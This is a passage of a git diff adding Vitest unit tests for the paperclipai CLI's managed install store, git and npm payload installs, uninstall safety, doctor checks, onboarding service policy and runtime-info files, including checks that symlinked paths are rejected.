sha.slice(0, 12))); + expect(runCommand.mock.calls.filter(([command, args]) => command === "curl" && args.includes("--output"))).toHaveLength(1); + expect(runCommand.mock.calls.filter(([command, args]) => command === "corepack" && args[1] === "install")).toHaveLength(1); + expect(runCommand.mock.calls.filter(([command, args]) => command === "corepack" && args.includes("pack"))).toHaveLength(2); + expect(runCommand.mock.calls.filter(([command, args]) => command === process.execPath && args[0]?.endsWith("prepare-bundled-package.mjs"))).toHaveLength(1); + expect(runCommand.mock.calls.filter(([command, args]) => command === "npm" && args[0] === "pack")).toHaveLength(2); + const installCall = runCommand.mock.calls.find(([command, args]) => command === "npm" && args[0] === "install"); + expect(installCall?.[1].filter((arg) => arg.endsWith(".tgz"))).toHaveLength(4); + }); + + it("builds git checkouts with NODE_ENV cleared so ambient production mode keeps devDependencies", async () => { + process.env.NODE_ENV = "production"; + const sha = "d".repeat(40); + const runCommand = createGitCheckoutRunCommand(sha); + await expect(installGitPayload("paperclipai/paperclip", sha, runCommand, resolveInstallStorePaths())).resolves.toMatchObject({ version: "0.3.1", reused: false }); + const buildCalls = runCommand.mock.calls.filter(([file, args]) => + file === "bash" || + file === "corepack" || + (file === "npm" && args[0] === "pack") || + (file === process.execPath && args[0]?.endsWith("prepare-bundled-package.mjs"))); + expect(buildCalls).toHaveLength(9); + for (const call of buildCalls) { + const env = call[2]?.env; + expect(env, `${call[0]} ${call[1].join(" ")} must run with an explicit env`).toBeDefined(); + expect(env, `${call[0]} ${call[1].join(" ")} must not inherit NODE_ENV`).not.toHaveProperty("NODE_ENV"); + } + const uiPackCall = buildCalls.find(([file, , options]) => file === "corepack" && options?.env?.PAPERCLIP_RELEASE_REUSE_UI_DIST === "1"); + expect(uiPackCall).toBeDefined(); + }); + + it("resolves the complete server workspace dependency closure in dependency order", () => { + const checkout = path.join(root, "checkout"); + const packages = [ + { dir: "packages/shared", name: "@paperclipai/shared", dependencies: {} }, + { dir: "packages/db", name: "@paperclipai/db", dependencies: { "@paperclipai/shared": "workspace:*" } }, + { dir: "server", name: "@paperclipai/server", dependencies: { "@paperclipai/db": "workspace:*" } }, + ]; + fs.mkdirSync(path.join(checkout, "scripts"), { recursive: true }); + fs.writeFileSync(path.join(checkout, "scripts", "release-package-manifest.json"), JSON.stringify(packages.map(({ dir, name }) => ({ dir, name })))); + for (const workspacePackage of packages) { + fs.mkdirSync(path.join(checkout, workspacePackage.dir), { recursive: true }); + fs.writeFileSync(path.join(checkout, workspacePackage.dir, "package.json"), JSON.stringify({ name: workspacePackage.name, dependencies: workspacePackage.dependencies })); + } + + expect(resolveGitInstallWorkspacePackages(checkout).map(({ name }) => name)).toEqual([ + "@paperclipai/shared", + "@paperclipai/db", + "@paperclipai/server", + ]); + }); + + it("includes child-process stderr in command failures", async () => { + await expect(runCommandWithDiagnostics(process.execPath, ["-e", "process.stderr.write('unsupported workspace dependency\\n'); process.exit(1)"])) + .rejects.toThrow("unsupported workspace dependency"); + }); + + it("installs through the shim, reports provenance, and uninstalls without deleting user data", async () => { + const version = "2026.720.0"; + const runCommand = vi.fn(async (file: string, args: string[], _options?: unknown) => { + if (file === "npm" && args[0] === "view") return { stdout: JSON.stringify(version), stderr: "" }; + if (file === "npm" && args[0] === "install") { + const prefix = args[args.indexOf("--prefix") + 1]; + const entrypoint = path.join(prefix, "node_modules", "paperclipai", "dist", "index.js"); + fs.mkdirSync(path.dirname(entrypoint), { recursive: true }); + fs.writeFileSync(entrypoint, "#!/usr/bin/env node\n"); + return { stdout: "", stderr: "" }; + } + if (file === process.execPath && args.at(-1) === "--version") { + return { stdout: `${version}\n`, stderr: "" }; + } + throw new Error(`Unexpected command: ${file} ${args.join(" ")}`); + }); + + await installCommand({}, { runCommand, now: () => new Date("2026-07-22T18:00:00.000Z") }); + + const paths = resolveInstallStorePaths(); + const manifest = readInstallManifest(paths); + expect(manifest?.version).toBe(version); + expect(manifest?.channel).toBe("latest"); + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(manifest!.payloadPath)); + expect(fs.existsSync(paths.shimPath)).toBe(true); + const installCall = runCommand.mock.calls.find( + ([file, args]) => file === "npm" && args[0] === "install", + ); + expect(installCall?.[1]).toContain("--@paperclipai:registry=https://registry.npmjs.org"); + const installOptions = installCall?.[2] as { env?: NodeJS.ProcessEnv } | undefined; + expect(installOptions?.env?.npm_config_userconfig).toContain(".npmrc-"); + const entrypoint = path.join(manifest!.payloadPath, "node_modules", "paperclipai", "dist", "index.js"); + expect(resolveCliVersion(entrypoint)).toContain(`managed npm latest; payload ${manifest!.payloadPath}`); + + const userData = path.join(process.env.PAPERCLIP_HOME!, "instances", "default", "keep.txt"); + fs.mkdirSync(path.dirname(userData), { recursive: true }); + fs.writeFileSync(userData, "keep"); + const uninstallService = vi.fn(async () => { + expect(fs.existsSync(paths.shimPath)).toBe(true); + }); + await uninstallCommand({ + detectServiceManager: vi.fn(async () => ({ + supported: true as const, + manager: { + status: vi.fn(async () => ({ installed: true, active: true })), + uninstall: uninstallService, + } as never, + })), + }); + + expect(uninstallService).toHaveBeenCalledOnce(); + expect(fs.existsSync(paths.cliRoot)).toBe(false); + expect(fs.existsSync(paths.shimPath)).toBe(false); + expect(fs.readFileSync(userData, "utf8")).toBe("keep"); + }); + + it("refuses to remove the shared CLI while another instance service is installed", async () => { + const paths = resolveInstallStorePaths(); + const otherUnitPath = path.join(process.env.HOME!, ".config", "systemd", "user", systemdServiceName("team-a")); + fs.mkdirSync(path.dirname(otherUnitPath), { recursive: true }); + fs.writeFileSync(otherUnitPath, "unit"); + + await expect(uninstallCommand({ + detectServiceManager: vi.fn(async () => ({ + supported: true as const, + manager: { status: vi.fn(async () => ({ installed: false, active: false })) } as never, + })), + platform: "linux", + userHomeDir: process.env.HOME!, + })).rejects.toThrow("other instance services are installed"); + + expect(fs.existsSync(paths.cliRoot)).toBe(false); + expect(fs.existsSync(otherUnitPath)).toBe(true); + }); + + it("preserves the managed install when an existing systemd unit cannot be checked", async () => { + const paths = resolveInstallStorePaths(); + fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true }); + fs.writeFileSync(paths.shimPath, "managed shim"); + const unitPath = path.join( + process.env.HOME!, + ".config", + "systemd", + "user", + systemdServiceName(resolvePaperclipInstanceId()), + ); + fs.mkdirSync(path.dirname(unitPath), { recursive: true }); + fs.writeFileSync(unitPath, "unit"); + + await expect(uninstallCommand({ + detectServiceManager: vi.fn(async () => ({ + supported: false as const, + reason: "No usable systemd user manager was detected", + })), + platform: "linux", + userHomeDir: process.env.HOME!, + })).rejects.toThrow("Cannot verify or remove the background service"); + + expect(fs.existsSync(paths.shimPath)).toBe(true); + expect(fs.existsSync(unitPath)).toBe(true); + }); + + it("rejects a symlinked installs root before npm writes outside the store", async () => { + const paths = resolveInstallStorePaths(); + const outside = path.join(root, "outside"); + fs.mkdirSync(paths.cliRoot, { recursive: true }); + fs.mkdirSync(outside); + fs.symlinkSync(outside, paths.installsRoot, "dir"); + const runCommand = vi.fn(async () => ({ stdout: JSON.stringify("2026.720.0"), stderr: "" })); + + await expect(installCommand({}, { runCommand })).rejects.toThrow("non-directory install-store path"); + expect(runCommand).toHaveBeenCalledTimes(1); + expect(fs.readdirSync(outside)).toEqual([]); + }); + + it("refuses to uninstall an unverified cli directory", async () => { + const paths = resolveInstallStorePaths(); + const unrelatedFile = path.join(paths.cliRoot, "keep.txt"); + fs.mkdirSync(paths.cliRoot, { recursive: true }); + fs.writeFileSync(unrelatedFile, "keep"); + + await expect(uninstallCommand()).rejects.toThrow("unverified install store"); + expect(fs.readFileSync(unrelatedFile, "utf8")).toBe("keep"); + }); + + it("refuses to uninstall while another store mutation holds the lock", async () => { + const paths = resolveInstallStorePaths(); + const payloadPath = payloadPathFor(paths, "npm", "2026.720.0"); + initializeInstallStore(paths); + fs.mkdirSync(payloadPath, { recursive: true }); + flipCurrentAtomic(payloadPath, paths); + writeInstallManifestAtomic({ + schemaVersion: INSTALL_MANIFEST_VERSION, + source: "npm", + version: "2026.720.0", + channel: "latest", + payloadPath, + installedAt: "2026-07-22T18:00:00.000Z", + previous: [], + }, paths); + + await withInstallStoreLock( + async () => { + await expect(uninstallCommand()).rejects.toThrow("already running"); + }, + paths, + ); + expect(fs.existsSync(paths.lockPath)).toBe(false); + }); + + it("refuses a symlinked git payload root before downloading", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const outside = path.join(root, "outside-git"); fs.mkdirSync(outside); + fs.symlinkSync(outside, path.join(paths.installsRoot, "git")); + const runCommand = vi.fn(async () => ({ stdout: "", stderr: "" })); + await expect(installGitPayload("paperclipai/paperclip", "4".repeat(40), runCommand, paths)).rejects.toThrow("unsafe payload root"); + expect(runCommand).not.toHaveBeenCalled(); + }); + +}); diff --git a/cli/src/__tests__/install-store.test.ts b/cli/src/__tests__/install-store.test.ts new file mode 100644 index 00000000000..eede05f47df --- /dev/null +++ b/cli/src/__tests__/install-store.test.ts @@ -0,0 +1,206 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import { + INSTALL_MANIFEST_VERSION, + MANAGED_SHIM_MARKER, + addManagedPathBlock, + buildNextManifest, + flipCurrentAtomic, + isManagedExecutable, + payloadPathFor, + pruneInstallPayloads, + readInstallManifest, + removeManagedPathBlock, + removeManagedShim, + resolveInstallStorePaths, + withInstallStoreLock, + writeInstallManifestAtomic, + writeManagedShim, + type InstallManifest, + type InstallRecord, +} from "../install-store.js"; + +function record(payloadPath: string, version: string): InstallRecord { + return { + source: "npm", + version, + channel: "latest", + payloadPath, + installedAt: `2026-07-${version.padStart(2, "0")}T00:00:00.000Z`, + }; +} + +describe("managed install store", () => { + let root: string; + let paths: ReturnType; + + beforeEach(() => { + root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-store-")); + paths = resolveInstallStorePaths({ + homeDir: path.join(root, "home"), + paperclipHome: path.join(root, "home", ".paperclip"), + }); + }); + + afterEach(() => { + fs.rmSync(root, { recursive: true, force: true }); + }); + + it("resolves the documented npm and git payload layout", () => { + expect(payloadPathFor(paths, "npm", "2026.720.0")).toBe( + path.join(paths.cliRoot, "installs", "npm", "2026.720.0"), + ); + expect(payloadPathFor(paths, "git", "ab12cd34ef56")).toBe( + path.join(paths.cliRoot, "installs", "git", "ab12cd34ef56"), + ); + }); + + it("writes and reads the manifest atomically with private permissions", () => { + const payloadPath = payloadPathFor(paths, "npm", "1.2.3"); + const manifest: InstallManifest = { + schemaVersion: INSTALL_MANIFEST_VERSION, + ...record(payloadPath, "1.2.3"), + previous: [], + }; + writeInstallManifestAtomic(manifest, paths); + expect(readInstallManifest(paths)).toEqual(manifest); + expect(fs.statSync(paths.manifestPath).mode & 0o777).toBe(0o600); + }); + + it("leaves the old current payload working when interrupted before rename", () => { + const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); + const newPayload = payloadPathFor(paths, "npm", "2.0.0"); + fs.mkdirSync(oldPayload, { recursive: true }); + fs.mkdirSync(newPayload, { recursive: true }); + flipCurrentAtomic(oldPayload, paths); + + expect(() => + flipCurrentAtomic(newPayload, paths, { + beforeRename: () => { + throw new Error("simulated crash"); + }, + }), + ).toThrow("simulated crash"); + + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload)); + expect(fs.readdirSync(paths.cliRoot).filter((entry) => entry.startsWith(".current-"))).toEqual([]); + }); + + it("retains current plus two previous payloads and prunes older entries", () => { + const payloads = ["1", "2", "3", "4"].map((version) => payloadPathFor(paths, "npm", version)); + for (const payload of payloads) fs.mkdirSync(payload, { recursive: true }); + const previousManifest: InstallManifest = { + schemaVersion: INSTALL_MANIFEST_VERSION, + ...record(payloads[2], "3"), + previous: [record(payloads[1], "2"), record(payloads[0], "1")], + }; + const next = buildNextManifest(record(payloads[3], "4"), previousManifest); + + expect(next.previous.map((entry) => entry.version)).toEqual(["3", "2"]); + expect(pruneInstallPayloads(next, paths)).toEqual([payloads[0]]); + expect(fs.existsSync(payloads[0])).toBe(false); + expect(payloads.slice(1).every((payload) => fs.existsSync(payload))).toBe(true); + }); + + it("writes a stable shim with the validated runtime and custom store path", () => { + writeManagedShim(paths); + const shim = fs.readFileSync(paths.shimPath, "utf8"); + expect(shim).toContain(process.execPath); + expect(shim).toContain(paths.currentPath); + expect(shim).not.toContain("PAPERCLIP_HOME"); + expect(fs.statSync(paths.shimPath).mode & 0o777).toBe(0o755); + + const rcPath = path.join(root, "home", ".bashrc"); + expect(addManagedPathBlock(rcPath)).toBe(true); + expect(addManagedPathBlock(rcPath)).toBe(false); + fs.chmodSync(rcPath, 0o640); + expect(removeManagedPathBlock(rcPath)).toBe(true); + expect(fs.readFileSync(rcPath, "utf8")).not.toContain("paperclipai managed PATH"); + expect(fs.statSync(rcPath).mode & 0o777).toBe(0o640); + }); + + it("rejects marker substrings that are not the exact managed shim format", () => { + fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true }); + fs.writeFileSync(paths.shimPath, `#!/bin/sh\necho '${MANAGED_SHIM_MARKER}'\n`); + + expect(removeManagedShim(paths)).toBe(false); + expect(fs.existsSync(paths.shimPath)).toBe(true); + expect(() => writeManagedShim(paths)).toThrow("non-managed command"); + }); + + it("serializes install-store mutations with an exclusive lock", async () => { + await expect( + withInstallStoreLock( + () => withInstallStoreLock(async () => undefined, paths), + paths, + ), + ).rejects.toThrow("already running"); + expect(fs.existsSync(paths.lockPath)).toBe(false); + }); + + it("recovers a lock owned by a process that no longer exists", async () => { + const staleToken = "2147483647:stale"; + await withInstallStoreLock(async () => undefined, paths); + fs.writeFileSync(paths.lockPath, `${staleToken}\n`, { mode: 0o600 }); + + await expect(withInstallStoreLock(async () => undefined, paths)).resolves.toBeUndefined(); + expect(fs.existsSync(paths.lockPath)).toBe(false); + }); + + it("reports managed provenance only for the payload selected by current", () => { + const manifestPayload = payloadPathFor(paths, "npm", "1.0.0"); + const currentPayload = payloadPathFor(paths, "npm", "2.0.0"); + const executable = path.join(manifestPayload, "node_modules", "paperclipai", "dist", "index.js"); + fs.mkdirSync(path.dirname(executable), { recursive: true }); + fs.writeFileSync(executable, ""); + fs.mkdirSync(currentPayload, { recursive: true }); + flipCurrentAtomic(currentPayload, paths); + const manifest: InstallManifest = { + schemaVersion: INSTALL_MANIFEST_VERSION, + ...record(manifestPayload, "1.0.0"), + previous: [], + }; + + expect(isManagedExecutable(executable, manifest, paths)).toBe(false); + }); + + it("refuses symlinked payload roots and pre-existing non-managed shims", () => { + const outside = path.join(root, "outside"); + fs.mkdirSync(outside, { recursive: true }); + fs.mkdirSync(paths.installsRoot, { recursive: true }); + fs.symlinkSync(outside, path.join(paths.installsRoot, "npm"), "dir"); + const escapedPayload = path.join(paths.installsRoot, "npm", "1.2.3"); + fs.mkdirSync(path.join(outside, "1.2.3")); + expect(() => flipCurrentAtomic(escapedPayload, paths)).toThrow("resolves outside"); + + fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true }); + fs.writeFileSync(paths.shimPath, "#!/bin/sh\necho other-command\n"); + expect(() => writeManagedShim(paths)).toThrow("non-managed command"); + }); + + it("refuses symlinked rc files, unsafe shim parents, and multiply linked shims", () => { + const outsideRc = path.join(root, "outside-rc"); + fs.writeFileSync(outsideRc, "keep\n"); + const rcPath = path.join(root, "home", ".bashrc"); + fs.mkdirSync(path.dirname(rcPath), { recursive: true }); + fs.symlinkSync(outsideRc, rcPath); + expect(() => addManagedPathBlock(rcPath)).toThrow("non-regular shell rc file"); + expect(() => removeManagedPathBlock(rcPath)).toThrow("non-regular shell rc file"); + expect(fs.readFileSync(outsideRc, "utf8")).toBe("keep\n"); + + fs.rmSync(rcPath); + const localDir = path.join(root, "home", ".local"); + const outsideBin = path.join(root, "outside-bin"); + fs.mkdirSync(outsideBin); + fs.symlinkSync(outsideBin, localDir, "dir"); + expect(() => writeManagedShim(paths)).toThrow("unsafe shim directory"); + + fs.rmSync(localDir); + fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true }); + fs.writeFileSync(paths.shimPath, `# ${MANAGED_SHIM_MARKER}\n`); + fs.linkSync(paths.shimPath, path.join(root, "linked-shim")); + expect(() => writeManagedShim(paths)).toThrow("multiply linked shim"); + }); +}); diff --git a/cli/src/__tests__/managed-install-check.test.ts b/cli/src/__tests__/managed-install-check.test.ts new file mode 100644 index 00000000000..457dbc1c6d2 --- /dev/null +++ b/cli/src/__tests__/managed-install-check.test.ts @@ -0,0 +1,88 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { managedInstallChecks } from "../checks/managed-install-check.js"; +import { + MANAGED_STORE_MARKER, + buildNextManifest, + flipCurrentAtomic, + resolveInstallStorePaths, + writeInstallManifestAtomic, + writeManagedShim, +} from "../install-store.js"; + +const originalPath = process.env.PATH; + +afterEach(() => { + process.env.PATH = originalPath; +}); + +describe("managed install doctor checks", () => { + it("passes for a consistent store, manifest, current link, shim, and PATH", () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-")); + const paths = resolveInstallStorePaths({ + paperclipHome: path.join(root, ".paperclip"), + homeDir: root, + }); + const payloadPath = path.join(paths.installsRoot, "npm", "1.2.3"); + fs.mkdirSync(path.join(payloadPath, "dist"), { recursive: true }); + const manifest = buildNextManifest( + { + source: "npm", + version: "1.2.3", + channel: "latest", + payloadPath, + installedAt: "2026-07-22T00:00:00.000Z", + }, + null, + ); + flipCurrentAtomic(payloadPath, paths); + writeInstallManifestAtomic(manifest, paths); + writeManagedShim(paths); + process.env.PATH = `${path.dirname(paths.shimPath)}${path.delimiter}${originalPath ?? ""}`; + + expect(managedInstallChecks(paths).every((result) => result.status === "pass")).toBe(true); + }); + + it("fails when managed artifacts exist without a manifest", () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-")); + const paths = resolveInstallStorePaths({ + paperclipHome: path.join(root, ".paperclip"), + homeDir: root, + }); + fs.mkdirSync(paths.cliRoot, { recursive: true }); + fs.writeFileSync(paths.markerPath, MANAGED_STORE_MARKER); + + expect(managedInstallChecks(paths)).toEqual([ + expect.objectContaining({ name: "Managed install manifest", status: "fail" }), + ]); + }); + + it("ignores the shared CLI directory when it only contains update notice state", () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-")); + const paths = resolveInstallStorePaths({ + paperclipHome: path.join(root, ".paperclip"), + homeDir: root, + }); + fs.mkdirSync(paths.cliRoot, { recursive: true }); + fs.writeFileSync(path.join(paths.cliRoot, "update-check.json"), "{}\n"); + + expect(managedInstallChecks(paths)).toEqual([ + expect.objectContaining({ name: "Managed install", status: "pass" }), + ]); + }); + + it("ignores an empty installs directory left by a harmless lock lifecycle", () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-")); + const paths = resolveInstallStorePaths({ + paperclipHome: path.join(root, ".paperclip"), + homeDir: root, + }); + fs.mkdirSync(paths.installsRoot, { recursive: true }); + + expect(managedInstallChecks(paths)).toEqual([ + expect.objectContaining({ name: "Managed install", status: "pass" }), + ]); + }); +}); diff --git a/cli/src/__tests__/onboard-service.test.ts b/cli/src/__tests__/onboard-service.test.ts new file mode 100644 index 00000000000..92697fc675c --- /dev/null +++ b/cli/src/__tests__/onboard-service.test.ts @@ -0,0 +1,272 @@ +import { describe, expect, it, vi } from "vitest"; +import { + handleOnboardService, + handoffToOnboardedService, + isInstallableReleaseVersion, + resolveOnboardServiceDashboardUrl, + shouldOfferForegroundStart, +} from "../onboard-service.js"; + +function dashboardConfig(overrides: { + host?: string; + port?: number; + baseUrlMode?: "auto" | "explicit"; + publicBaseUrl?: string; +} = {}) { + return { + server: { + host: overrides.host ?? "127.0.0.1", + port: overrides.port ?? 3100, + }, + auth: { + baseUrlMode: overrides.baseUrlMode ?? "auto", + disableSignUp: false, + ...(overrides.publicBaseUrl ? { publicBaseUrl: overrides.publicBaseUrl } : {}), + }, + }; +} + +function supportedDetection() { + return { + supported: true as const, + manager: { + platform: "systemd" as const, + instanceId: "default", + serviceName: "paperclipai.service", + definitionPath: "/tmp/paperclipai.service", + renderDefinition: () => "unit", + install: vi.fn(async () => ({ changed: true })), + uninstall: vi.fn(async () => undefined), + start: vi.fn(async () => undefined), + stop: vi.fn(async () => undefined), + restart: vi.fn(async () => undefined), + status: vi.fn(async () => ({ + platform: "systemd" as const, + serviceName: "paperclipai.service", + installed: true, + active: true, + enabled: true, + pid: 123, + })), + logs: vi.fn(async () => undefined), + installedExecutablePath: vi.fn(async () => null), + }, + }; +} + +describe("onboard service policy", () => { + it("does not install during --yes onboarding without opt-in", async () => { + const detection = supportedDetection(); + const info = vi.fn(); + + const installed = await handleOnboardService( + { yes: true }, + { detect: vi.fn(async () => detection), isInteractive: () => false, info }, + ); + + expect(installed).toBe(false); + expect(detection.manager.install).not.toHaveBeenCalled(); + expect(info).toHaveBeenCalledWith(expect.stringContaining("--install-service")); + }); + + it("installs when --yes explicitly opts in", async () => { + const detection = supportedDetection(); + + const installed = await handleOnboardService( + { yes: true, installService: true }, + { + detect: vi.fn(async () => detection), + isInteractive: () => false, + ensureServiceShim: vi.fn(async () => ({ ok: true, installedNow: false })), + }, + ); + + expect(installed).toBe(true); + expect(detection.manager.install).toHaveBeenCalledWith({ startNow: true, startOnLogin: true }); + }); + + it("asks during interactive onboarding", async () => { + const detection = supportedDetection(); + const confirm = vi.fn(async () => true); + + const installed = await handleOnboardService( + {}, + { + detect: vi.fn(async () => detection), + isInteractive: () => true, + confirm, + ensureServiceShim: vi.fn(async () => ({ ok: true, installedNow: false })), + }, + ); + + expect(confirm).toHaveBeenCalledOnce(); + expect(installed).toBe(true); + }); + + it("silences the hint with --no-install-service", async () => { + const info = vi.fn(); + const detect = vi.fn(async () => supportedDetection()); + + const installed = await handleOnboardService( + { yes: true, installService: false }, + { detect, isInteractive: () => false, info }, + ); + + expect(installed).toBe(false); + expect(detect).not.toHaveBeenCalled(); + expect(info).not.toHaveBeenCalled(); + }); + + it("materializes the managed shim before installing the service", async () => { + const detection = supportedDetection(); + const success = vi.fn(); + const ensureServiceShim = vi.fn(async () => ({ ok: true, installedNow: true })); + + const installed = await handleOnboardService( + { yes: true, installService: true }, + { detect: vi.fn(async () => detection), isInteractive: () => false, ensureServiceShim, success }, + ); + + expect(installed).toBe(true); + expect(ensureServiceShim).toHaveBeenCalledOnce(); + expect(success).toHaveBeenCalledWith(expect.stringContaining("managed paperclipai payload")); + expect(detection.manager.install).toHaveBeenCalledWith({ startNow: true, startOnLogin: true }); + }); + + it("declines instead of installing a service without a binary", async () => { + const detection = supportedDetection(); + const warn = vi.fn(); + + const installed = await handleOnboardService( + { yes: true, installService: true }, + { + detect: vi.fn(async () => detection), + isInteractive: () => false, + ensureServiceShim: vi.fn(async () => ({ ok: false, installedNow: false, reason: "npm exploded" })), + warn, + }, + ); + + expect(installed).toBe(false); + expect(detection.manager.install).not.toHaveBeenCalled(); + expect(warn).toHaveBeenCalledWith(expect.stringContaining("npm exploded")); + expect(warn).toHaveBeenCalledWith(expect.stringContaining("paperclipai install")); + }); + +}); + +describe("isInstallableReleaseVersion", () => { + it("accepts calendar releases and rejects placeholders", () => { + expect(isInstallableReleaseVersion("2026.824.1")).toBe(true); + expect(isInstallableReleaseVersion("2026.818.0-beta.1")).toBe(true); + expect(isInstallableReleaseVersion("0.3.1")).toBe(false); + expect(isInstallableReleaseVersion("not-a-version")).toBe(false); + }); +}); + +describe("onboarded service dashboard handoff", () => { + it("resolves a reachable local dashboard URL", () => { + expect(resolveOnboardServiceDashboardUrl(dashboardConfig({ host: "0.0.0.0", port: 4321 }))) + .toBe("http://127.0.0.1:4321"); + expect(resolveOnboardServiceDashboardUrl(dashboardConfig({ host: "::1" }))) + .toBe("http://[::1]:3100"); + }); + + it("uses the configured public URL when auth requires one", () => { + expect(resolveOnboardServiceDashboardUrl(dashboardConfig({ + baseUrlMode: "explicit", + publicBaseUrl: "https://paperclip.example.com/", + }))).toBe("https://paperclip.example.com"); + }); + + it("prints the dashboard URL without opening a browser in non-interactive runs", async () => { + const info = vi.fn(); + const waitUntilReady = vi.fn(async () => ({ + schemaVersion: 1 as const, + instanceId: "default", + pid: 123, + host: "127.0.0.1", + port: 3100, + dashboardUrl: "http://127.0.0.1:3100", + startedAt: "2026-08-25T00:00:00.000Z", + })); + const openDashboard = vi.fn(async () => true); + + await handoffToOnboardedService(dashboardConfig(), { + isInteractive: () => false, + waitUntilReady, + openDashboard, + info, + }); + + expect(info).toHaveBeenCalledWith(expect.stringContaining("http://127.0.0.1:3100")); + expect(waitUntilReady).toHaveBeenCalledOnce(); + expect(openDashboard).not.toHaveBeenCalled(); + }); + + it("uses the ready service runtime port before opening the dashboard", async () => { + const waitUntilReady = vi.fn(async () => ({ + schemaVersion: 1 as const, + instanceId: "default", + pid: 123, + host: "127.0.0.1", + port: 3101, + dashboardUrl: "http://127.0.0.1:3101", + startedAt: "2026-08-25T00:00:00.000Z", + })); + const openDashboard = vi.fn(async () => true); + const success = vi.fn(); + + await handoffToOnboardedService(dashboardConfig(), { + isInteractive: () => true, + waitUntilReady, + openDashboard, + info: vi.fn(), + success, + }); + + expect(waitUntilReady).toHaveBeenCalledOnce(); + expect(openDashboard).toHaveBeenCalledWith("http://127.0.0.1:3101"); + expect(success).toHaveBeenCalledWith(expect.stringContaining("Sent")); + }); + + it("keeps the manual link and warns when service health does not become ready", async () => { + const openDashboard = vi.fn(async () => true); + const warn = vi.fn(); + + await handoffToOnboardedService(dashboardConfig(), { + isInteractive: () => true, + waitUntilReady: vi.fn(async () => null), + openDashboard, + info: vi.fn(), + warn, + }); + + expect(openDashboard).not.toHaveBeenCalled(); + expect(warn).toHaveBeenCalledWith(expect.stringContaining("paperclipai service logs")); + }); +}); + +describe("shouldOfferForegroundStart", () => { + const base = { serviceInstalled: false, startAlreadyDecided: false, invokedByRun: false, interactive: true }; + + it("offers a foreground start on a plain interactive onboard", () => { + expect(shouldOfferForegroundStart(base)).toBe(true); + }); + + it("never prompts after the service was installed and started", () => { + expect(shouldOfferForegroundStart({ ...base, serviceInstalled: true })).toBe(false); + }); + + it("never prompts when the start decision was already made by flags", () => { + expect(shouldOfferForegroundStart({ ...base, startAlreadyDecided: true })).toBe(false); + }); + + it("never prompts when run itself invoked onboarding", () => { + expect(shouldOfferForegroundStart({ ...base, invokedByRun: true })).toBe(false); + }); + + it("never prompts without an interactive terminal", () => { + expect(shouldOfferForegroundStart({ ...base, interactive: false })).toBe(false); + }); +}); diff --git a/cli/src/__tests__/onboard.test.ts b/cli/src/__tests__/onboard.test.ts index 33890e703de..59a578b1f86 100644 --- a/cli/src/__tests__/onboard.test.ts +++ b/cli/src/__tests__/onboard.test.ts @@ -8,6 +8,7 @@ import type { PaperclipConfig } from "../config/schema.js"; const ORIGINAL_ENV = { ...process.env }; const ORIGINAL_CWD = process.cwd(); const ORIGINAL_PATH = process.env.PATH; +const ORIGINAL_EXIT_CODE = process.exitCode; function createExistingConfigFixture() { const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-onboard-")); @@ -107,6 +108,7 @@ describe("onboard", () => { afterEach(() => { process.env = { ...ORIGINAL_ENV }; process.chdir(ORIGINAL_CWD); + process.exitCode = ORIGINAL_EXIT_CODE; }); it("preserves an existing config when rerun without flags", async () => { @@ -129,6 +131,20 @@ describe("onboard", () => { expect(fs.existsSync(path.join(path.dirname(fixture.configPath), ".env"))).toBe(true); }); + it("backs up invalid config bytes and refuses --yes replacement", async () => { + const configPath = createFreshConfigPath(); + const invalidBytes = Buffer.from('{"database": invalid}\n', "utf8"); + fs.mkdirSync(path.dirname(configPath), { recursive: true }); + fs.writeFileSync(configPath, invalidBytes); + + await onboard({ config: configPath, yes: true, invokedByRun: true }); + + expect(process.exitCode).toBe(1); + expect(fs.readFileSync(configPath)).toEqual(invalidBytes); + expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes); + expect(fs.existsSync(`${configPath}.backup`)).toBe(false); + }); + it("keeps --yes onboarding on local trusted loopback defaults", async () => { const configPath = createFreshConfigPath(); process.env.HOST = "0.0.0.0"; diff --git a/cli/src/__tests__/runtime-info.test.ts b/cli/src/__tests__/runtime-info.test.ts new file mode 100644 index 00000000000..eea58f3a050 --- /dev/null +++ b/cli/src/__tests__/runtime-info.test.ts @@ -0,0 +1,56 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { + readRuntimeInfo, + removeRuntimeInfoForPid, + writeRuntimeInfo, + type PaperclipRuntimeInfo, +} from "../runtime-info.js"; + +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) fs.rmSync(root, { recursive: true, force: true }); +}); + +function fixture(): { filePath: string; info: PaperclipRuntimeInfo } { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-runtime-info-")); + roots.push(root); + return { + filePath: path.join(root, "runtime-info.json"), + info: { + schemaVersion: 1, + instanceId: "default", + pid: 123, + host: "127.0.0.1", + port: 3101, + dashboardUrl: "http://127.0.0.1:3101", + startedAt: "2026-08-25T00:00:00.000Z", + }, + }; +} + +describe("runtime info", () => { + it("writes and reads the selected runtime endpoint", () => { + const { filePath, info } = fixture(); + writeRuntimeInfo(info, filePath); + expect(readRuntimeInfo("default", filePath)).toEqual(info); + }); + + it("does not remove runtime info owned by a replacement process", () => { + const { filePath, info } = fixture(); + writeRuntimeInfo(info, filePath); + removeRuntimeInfoForPid(999, "default", filePath); + expect(readRuntimeInfo("default", filePath)).toEqual(info); + removeRuntimeInfoForPid(info.pid, "default", filePath); + 